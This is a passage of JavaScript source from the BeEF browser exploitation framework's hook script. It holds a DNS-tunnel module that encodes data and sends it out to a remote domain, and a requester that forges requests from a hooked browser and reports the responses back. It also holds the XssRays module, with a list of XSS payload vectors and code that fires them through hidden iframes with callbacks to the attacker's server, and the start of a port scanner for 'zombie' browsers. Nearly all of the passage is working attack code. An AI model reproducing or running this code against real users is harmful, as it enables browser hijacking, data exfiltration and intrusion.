9031 * + domain: {String} Remote domain to retrieve the data.
9032 * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
9033 * + callback: {Function} Callback function to receive the number of requests sent.
9034 */
9035
9036beef.net.dns = {
9037
9038 handler: "dns",
9039
9040 send: function(msgId, data, domain, callback) {
9041
9042 var encode_data = function(str) {
9043 var result="";
9044 for(i=0;i<str.length;++i) {
9045 result+=str.charCodeAt(i).toString(16).toUpperCase();
9046 }
9047 return result;
9048 };
9049
9050 var encodedData = encodeURI(encode_data(data));
9051
9052 beef.debug(encodedData);
9053 beef.debug("_encodedData_ length: " + encodedData.length);
9054
9055 // limitations to DNS according to RFC 1035:
9056 // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
9057 // o Domain names are limited to 255 characters in length (including dots)
9058 // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
9059 // o Subdomains are limited to 63 characters in length (including the trailing dot)
9060
9061 // DNS request structure:
9062 // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
9063 //max_length: 3. 3 . 3 . 63 . x
9064
9065 // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
9066 // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
9067 var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
9068 var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
9069 var max_data_segment_length = 63; // by RFC
9070
9071 beef.debug("max_data_segment_length: " + max_data_segment_length);
9072
9073 var dom = document.createElement('b');
9074
9075 String.prototype.chunk = function(n) {
9076 if (typeof n=='undefined') n=100;
9077 return this.match(RegExp('.{1,'+n+'}','g'));
9078 };
9079
9080 var sendQuery = function(query) {
9081 var img = new Image;
9082 //img.src = "http://"+query;
9083 img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
9084 img.onload = function() { dom.removeChild(this); }
9085 img.onerror = function() { dom.removeChild(this); }
9086 dom.appendChild(img);
9087
9088 //experimental
9089 //setTimeout(function(){dom.removeChild(img)},1000);
9090 };
9091
9092 var segments = encodedData.chunk(max_data_segment_length);
9093
9094 var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
9095
9096 beef.debug(segments.length);
9097
9098 for (var seq=1; seq<=segments.length; seq++) {
9099 sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
9100 }
9101
9102 // callback - returns the number of queries sent
9103 if (!!callback) callback(segments.length);
9104
9105 }
9106
9107};
9108
9109beef.regCmp('beef.net.dns');
9110
9111
9112
9113//
9114// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
9115// Browser Exploitation Framework (BeEF) - http://beefproject.com
9116// See the file 'doc/COPYING' for copying permission
9117//
9118
9119// beef.net.connection - wraps Mozilla's Network Information API
9120// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
9121// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
9122beef.net.connection = {
9123
9124 /* Returns the connection type
9125 * @example: beef.net.connection.type()
9126 * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
9127 * @return: {String} connection type or 'unknown'.
9128 **/
9129 type: function () {
9130 try {
9131 var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
9132 var type = connection.type;
9133 if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
9134 } catch(e) {
9135 beef.debug("Error retrieving connection type: " + e.message);
9136 return 'unknown';
9137 }
9138 },
9139
9140 /* Returns the maximum downlink speed of the connection
9141 * @example: beef.net.connection.downlinkMax()
9142 * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
9143 * @return: {String} downlink max or 'unknown'.
9144 **/
9145 downlinkMax: function () {
9146 try {
9147 var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
9148 var max = connection.downlinkMax;
9149 if (max) return max; else return 'unknown';
9150 } catch(e) {
9151 beef.debug("Error retrieving connection downlink max: " + e.message);
9152 return 'unknown';
9153 }
9154 }
9155
9156};
9157
9158beef.regCmp('beef.net.connection');
9159
9160
9161
9162beef.net.cors = {
9163
9164 handler: "cors",
9165
9166 /**
9167 * Response Object - used in the beef.net.request callback
9168 */
9169 response:function () {
9170 this.status = null; // 500, 404, 200, 302, etc
9171 this.headers = null; // full response headers
9172 this.body = null; // full response body
9173 },
9174
9175 /**
9176 * Make a cross-origin request using CORS
9177 *
9178 * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
9179 * @param url {String} url
9180 * @param data {String} request body
9181 * @param timeout {Integer} request timeout in milliseconds
9182 * @param callback {Function} function to callback on completion
9183 */
9184 request: function(method, url, data, timeout, callback) {
9185
9186 var xhr;
9187 var response = new this.response;
9188
9189 if (XMLHttpRequest) {
9190 xhr = new XMLHttpRequest();
9191
9192 if ('withCredentials' in xhr) {
9193 xhr.open(method, url, true);
9194 xhr.timeout = parseInt(timeout, 10);
9195 xhr.onerror = function() {
9196 };
9197 xhr.onreadystatechange = function() {
9198 if (xhr.readyState === 4) {
9199 response.headers = this.getAllResponseHeaders()
9200 response.body = this.responseText;
9201 response.status = this.status;
9202 if (!!callback) {
9203 if (!!response) {
9204 callback(response);
9205 } else {
9206 callback('ERROR: No Response. CORS requests may be denied for this resource.')
9207 }
9208 }
9209 }
9210 };
9211 xhr.send(data);
9212 }
9213 } else if (typeof XDomainRequest != "undefined") {
9214 xhr = new XDomainRequest();
9215 xhr.open(method, url);
9216 xhr.onerror = function() {
9217 };
9218 xhr.onload = function() {
9219 response.headers = this.getAllResponseHeaders()
9220 response.body = this.responseText;
9221 response.status = this.status;
9222 if (!!callback) {
9223 if (!!response) {
9224 callback(response);
9225 } else {
9226 callback('ERROR: No Response. CORS requests may be denied for this resource.')
9227 }
9228 }
9229 };
9230 xhr.send(data);
9231 } else {
9232 if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
9233 }
9234
9235 }
9236
9237};
9238
9239beef.regCmp('beef.net.cors');
9240
9241
9242
9243//
9244// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
9245// Browser Exploitation Framework (BeEF) - http://beefproject.com
9246// See the file 'doc/COPYING' for copying permission
9247//
9248
9249/*!
9250 * @literal object: beef.net.requester
9251 *
9252 * request object structure:
9253 * + method: {String} HTTP method to use (GET or POST).
9254 * + host: {String} hostname
9255 * + query_string: {String} The query string is a part of the URL which is passed to the program.
9256 * + uri: {String} The URI syntax consists of a URI scheme name.
9257 * + headers: {Array} contain the operating parameters of the HTTP request.
9258 */
9259beef.net.requester = {
9260
9261 handler: "requester",
9262
9263 send: function(requests_array) {
9264 for(var i=0; i<requests_array.length; i++){
9265 request = requests_array[i];
9266 if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
9267 beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
9268 beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
9269 function(res, requestid) { beef.net.send('/requester', requestid, {
9270 response_data: res.response_body,
9271 response_status_code: res.status_code,
9272 response_status_text: res.status_text,
9273 response_port_status: res.port_status,
9274 response_headers: res.headers});
9275 }
9276 );
9277 }
9278 }
9279};
9280
9281beef.regCmp('beef.net.requester');
9282
9283
9284/*
9285 * XSS Rays
9286 * Legal bit:
9287 * Do not remove this notice.
9288 * Copyright (c) 2009 by Gareth Heyes
9289 * Programmed for Microsoft
9290 * gareth --at-- businessinfo -dot- co |dot| uk
9291 * Version 0.5.5
9292 *
9293 * This license governs use of the accompanying software. If you use the software, you
9294 * accept this license. If you do not accept the license, do not use the software.
9295 * 1. Definitions
9296 * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
9297 * same meaning here as under U.S. copyright law.
9298 * A "contribution" is the original software, or any additions or changes to the software.
9299 * A "contributor" is any person that distributes its contribution under this license.
9300 * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
9301 * 2. Grant of Rights
9302 * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
9303 * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
9304 * 3. Conditions and Limitations
9305 * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
9306 * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
9307 * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
9308 * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
9309 * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
9310 */
9311
9312/*
9313 * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
9314 * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
9315 * if the vulnerability is triggered the JS code vector will contact back BeEF.
9316 * Other aspects of the original code have been simplified and improved.
9317 */
9318beef.net.xssrays = {
9319 handler: "xssrays",
9320 completed:0,
9321 totalConnections:0,
9322
9323 // BeEF variables
9324 xssraysScanId : 0,
9325 hookedBrowserSession: "",
9326 beefRayUrl: "",
9327 // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
9328 crossDomain: false,
9329 debug:false,
9330 cleanUpTimeout:5000,
9331
9332 //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
9333 vectors: [
9334
9335 {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
9336 {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
9337 {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
9338 {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
9339 {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
9340 {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
9341 {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
9342 {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
9343 {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
9344 {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
9345 {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
9346 {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
9347 {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
9348 {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
9349 {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
9350 {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
9351 {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
9352 {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
9353 {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
9354 ],
9355 uniqueID: 0,
9356 rays: [],
9357 stack: [],
9358
9359 // return true is the attack vector can be launched to the current browser type.
9360 checkBrowser:function(vector_array_index){
9361 var result = false;
9362 var browser_id = this.vectors[vector_array_index].browser;
9363 switch (browser_id){
9364 case "ALL":
9365 result = true;
9366 break;
9367 case "FF":
9368 if(beef.browser.isFF())result=true;
9369 break;
9370 case "IE":
9371 if(beef.browser.isIE())result=true;
9372 break;
9373 case "C":
9374 if(beef.browser.isC())result=true;
9375 break;
9376 case "S":
9377 if(beef.browser.isS())result=true;
9378 break;
9379 case "O":
9380 if(beef.browser.isO())result=true;
9381 break;
9382 default : result = false;
9383 }
9384 beef.net.xssrays.printDebug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
9385 return result;
9386 },
9387
9388 // util function. Print string to the console only if the debug flag is on and the browser is not IE.
9389 printDebug:function(log) {
9390 if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
9391 beef.debug("[XssRays] " + log);
9392 }
9393 },
9394
9395 // main function, where all starts :-)
9396 startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout, debug) {
9397
9398 this.xssraysScanId = xssraysScanId;
9399 this.hookedBrowserSession = hookedBrowserSession;
9400 this.beefRayUrl = beefUrl + '/' + this.handler;
9401 beef.net.xssrays.printDebug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
9402 this.crossDomain = crossDomain;
9403 this.cleanUpTimeout = timeout;
9404 this.debug = debug;
9405
9406 this.scan();
9407 beef.net.xssrays.printDebug("Starting scan");
9408 this.runJobs();
9409 },
9410 complete:function() {
9411 if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
9412 beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
9413 $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
9414 } else {
9415 this.getNextJob();
9416 }
9417 },
9418 getNextJob:function() {
9419 var that = this;
9420 beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]");
9421 if (this.stack.length > 0) {
9422 var func = that.stack.shift();
9423 if (func) {
9424 that.completed++;
9425 func.call(that);
9426 }
9427 }else{ //nothing else to scan
9428 this.complete();
9429 }
9430 },
9431 scan:function() {
9432 this.scanLinks();
9433 this.scanForms();
9434 },
9435 scanPaths:function() {
9436 this.xss({type:'path'});
9437 return this;
9438 },
9439 scanForms: function() {
9440 this.xss({type:'form'});
9441 return this;
9442 },
9443 scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
9444 beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]");
9445 for (var i = 0; i < document.links.length; i++) {
9446 var url = document.links[i];
9447
9448 if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
9449 beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
9450 "\n url.pathname => " + url.pathname + "\n" +
9451 "url.search => " + url.search + "\n");
9452 this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
9453 search:url.search, type: 'url'});//scan each link & param
9454 } else {
9455 if (this.debug) {
9456 beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString());
9457 beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString());
9458 }
9459 }
9460 }
9461 if (location.search.length > 0) {
9462 this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
9463 }
9464 return this;
9465 },
9466 xss:function(target) {
9467 switch (target.type) {
9468 case "url":
9469 if (target.search.length > 0) {
9470 target.search = target.search.slice(1);
9471 target.search = target.search.split(/&|&/);
9472
9473 if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
9474 var pathname = "/" + target.pathname;
9475 }else{
9476 var pathname = target.pathname;
9477 }
9478
9479 var params = {};
9480 for (var i = 0; i < target.search.length; i++) {
9481 target.search[i] = target.search[i].split('=');
9482 params[target.search[i][0]] = target.search[i][1];
9483 }
9484 for (var i = 0; i < this.vectors.length; i++) {
9485 // skip the current vector if it's not compatible with the hooked browser
9486 if (!this.checkBrowser(i)){
9487 beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
9488 continue;
9489 }
9490 if (!this.vectors[i].url) {
9491 continue;
9492 }
9493 if (this.vectors[i].url) {
9494 if (target.port == null || target.port == "") {
9495 beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
9496 this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
9497 } else {
9498 beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
9499 this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
9500 }
9501 }
9502 if (this.vectors[i].path) {
9503 if (target.port == null || target.port == "") {
9504 beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
9505 this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
9506 } else {
9507 beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
9508 this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
9509 }
9510 }
9511 }
9512 }
9513 break;
9514 case "form":
9515 var params = {};
9516 var paramsstring = "";
9517 for (var i = 0; i < document.forms.length; i++) {
9518 var action = document.forms[i].action || document.location;
9519 var method = document.forms[i].method.toUpperCase() === 'POST' ?
9520 'POST' :
9521 'GET';
9522
9523 for (var j = 0; j < document.forms[i].elements.length; j++) {
9524 params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
9525 }
9526 for (var k = 0; k < this.vectors.length; k++) {
9527
9528 // skip the current vector if it's not compatible with the hooked browser
9529 if (!this.checkBrowser(k)){
9530 beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
9531 continue;
9532 }
9533 if (!this.vectors[k].form) {
9534 continue;
9535 }
9536 if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
9537 if (this.debug) {
9538 beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
9539 beef.net.xssrays.printDebug('location :' + this.host(location));
9540 }
9541 continue;
9542 }
9543 if (this.vectors[k].form) {
9544 if (method === 'GET') {
9545 beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
9546 this.run(action, method, this.vectors[k], params, true);//params
9547 }
9548 else {
9549 beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
9550 this.run(action, method, this.vectors[k], params, false);//params
9551 }
9552 }
9553 if (this.vectors[k].path) {
9554 beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], ");
9555 this.run(action, 'GET', this.vectors[k], null, true);//paths
9556 }
9557 }
9558 }
9559 break;
9560 }
9561 },
9562 host: function(url) {
9563 var host = url;
9564 host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
9565 ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
9566 : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
9567 ? ''
9568 : location.hostname.toString();
9569 return host;
9570 },
9571 fileName: function(url) {
9572 return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
9573 },
9574
9575 urlEncode: function(str) {
9576 str = str.toString();
9577 str = str.replace(/"/g, '%22');
9578 str = str.replace(/&/g, '%26');
9579 str = str.replace(/\+/g, '%2b');
9580 return str;
9581 },
9582
9583 // this is the main core function with the detection mechanisms...
9584 run: function(url, method, vector, params, urlencode) {
9585 this.stack.push(function() {
9586
9587 //check if the URL end with / . In this case remove the last /, as it will be added later.
9588 // this check is needed only when checking for URI path injections
9589 if(url[url.length - 1] == "/" && params == null){
9590 url = url.substring(0, url.length - 2);
9591 beef.net.xssrays.printDebug("Remove last / from url. New url [" + url + "]");
9592 }
9593
9594 beef.net.xssrays.uniqueID++;
9595 beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]");
9596 var poc = '';
9597 var pocurl = url;
9598 var exploit = '';
9599 var action = url;
9600
9601
9602 beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
9603 var ray = this.rays[beef.net.xssrays.uniqueID];
9604
9605 var paramsPos = 0;
9606 if (params != null) {
9607 /*
9608 * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
9609 */
9610 for (var i in params) {
9611 if (params.hasOwnProperty(i)) {
9612
9613 if (!/[?]/.test(url)) {
9614 url += '?';
9615 pocurl += '?';
9616 }
9617
9618 poc = vector.input.replace(/XSS/g, "alert(1)");
9619 pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
9620
9621 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
9622 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
9623
9624 beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
9625 + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
9626
9627 exploit = vector.input.replace(/XSS/g, beefCallback);
9628
9629 if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
9630 url += i + '=' + exploit + '&';
9631 }else{
9632 url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
9633 }
9634
9635 paramsPos++;
9636 }
9637 }
9638 } else {
9639 /*
9640 * ++++++++++ check for XSS in URI path (GET) ++++++++++
9641 */
9642 var filename = beef.net.xssrays.fileName(url);
9643
9644 poc = vector.input.replace(/XSS/g, "alert(1)");
9645 pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
9646
9647
9648 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
9649 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
9650
9651 beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
9652 + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
9653
9654 exploit = vector.input.replace(/XSS/g, beefCallback);
9655
9656 //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
9657 //TODO: this need to checked and the slash shouldn't be added in this particular case
9658 url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
9659 }
9660 /*
9661 * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
9662 */
9663 if(beef.browser.isIE()){
9664 try {
9665 var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
9666 } catch (e) {
9667 var iframe = document.createElement('iframe');
9668 iframe.name = 'ray' + Math.random().toString();
9669 }
9670 }else{
9671 var iframe = document.createElement('iframe');
9672 iframe.name = 'ray' + Math.random().toString();
9673 }
9674 iframe.style.display = 'none';
9675 iframe.id = 'ray' + beef.net.xssrays.uniqueID;
9676 iframe.time = beef.net.xssrays.timestamp();
9677
9678 if (method === 'GET') {
9679 if(beef.browser.isC() || beef.browser.isS()){
9680 var datauri = btoa(url);
9681 iframe.src = "data:text/html;base64," + datauri;
9682 }else{
9683 iframe.src = url;
9684 }
9685 document.body.appendChild(iframe);
9686 beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
9687 } else if (method === 'POST') {
9688 /*
9689 * ++++++++++ check for XSS in body parameters (POST) ++++++++++
9690 */
9691 var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
9692 poc = '';
9693 pocurl = action + "?";
9694 paramsPos = 0;
9695
9696 beef.net.xssrays.printDebug("Form action [" + action + "]");
9697 for (var i in params) {
9698 if (params.hasOwnProperty(i)) {
9699
9700 poc = vector.input.replace(/XSS/g, "alert(1)");
9701 poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
9702 pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
9703
9704 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
9705 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
9706
9707 beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
9708 + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
9709
9710 exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
9711 form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
9712 beef.net.xssrays.printDebug("form param[" + i + "] = " + params[i].toString());
9713
9714 paramsPos++;
9715 }
9716 }
9717 form += '<\/form>';
9718 document.body.appendChild(iframe);
9719 beef.net.xssrays.printDebug("Creating form [" + form + "]");
9720 iframe.contentWindow.document.writeln(form);
9721 iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
9722 beef.net.xssrays.printDebug("Submitting form");
9723 }
9724
9725 });
9726 },
9727
9728 // run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
9729 runJobs: function() {
9730 var that = this;
9731 this.totalConnections = this.stack.length;
9732 that.getNextJob();
9733 setInterval(function() {
9734 var numOfConnections = 0;
9735 for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
9736 var iframe = document.getElementsByTagName('iframe')[i];
9737 numOfConnections++;
9738 //beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
9739 if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
9740 try{
9741 if (iframe) {
9742 beef.net.xssrays.complete();
9743 beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
9744 document.body.removeChild(iframe);
9745 }
9746 }catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
9747 }
9748 }
9749
9750 if (numOfConnections == 0) {
9751 clearTimeout(this);
9752 }
9753
9754 }, this.cleanUpTimeout);
9755
9756 return this;
9757 },
9758 timestamp: function() {
9759 return parseInt(new Date().getTime().toString().substring(0, 10));
9760 },
9761 escape: function(str) {
9762 str = str.toString();
9763 str = str.replace(/</g, '<');
9764 str = str.replace(/>/g, '>');
9765 str = str.replace(/\u0022/g, '"');
9766 str = str.replace(/\u0027/g, ''');
9767 str = str.replace(/\\/g, '\');
9768 return str;
9769 }
9770
9771};
9772
9773beef.regCmp('beef.net.xssrays');
9774
9775
9776//
9777// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
9778// Browser Exploitation Framework (BeEF) - http://beefproject.com
9779// See the file 'doc/COPYING' for copying permission
9780//
9781
9782/*!
9783 * @literal object: beef.net.portscanner
9784 *
9785 * Provides port scanning functions for the zombie. A mod of pdp's scanner
9786 *
9787 * Version: '0.1',
9788 * author: 'Petko Petkov',
9789 * homepage: 'http://www.gnucitizen.org'
9790 */
9791
9792beef.net.portscanner = {
9793
9794 scanPort: function(callback, target, port, timeout)
9795 {
9796 var timeout = (timeout == null)?100:timeout;
9797 var img = new Image();
9798
9799 img.onerror = function () {
9800 if (!img) return;
9801 img = undefined;
9802 callback(target, port, 'open');
9803 };
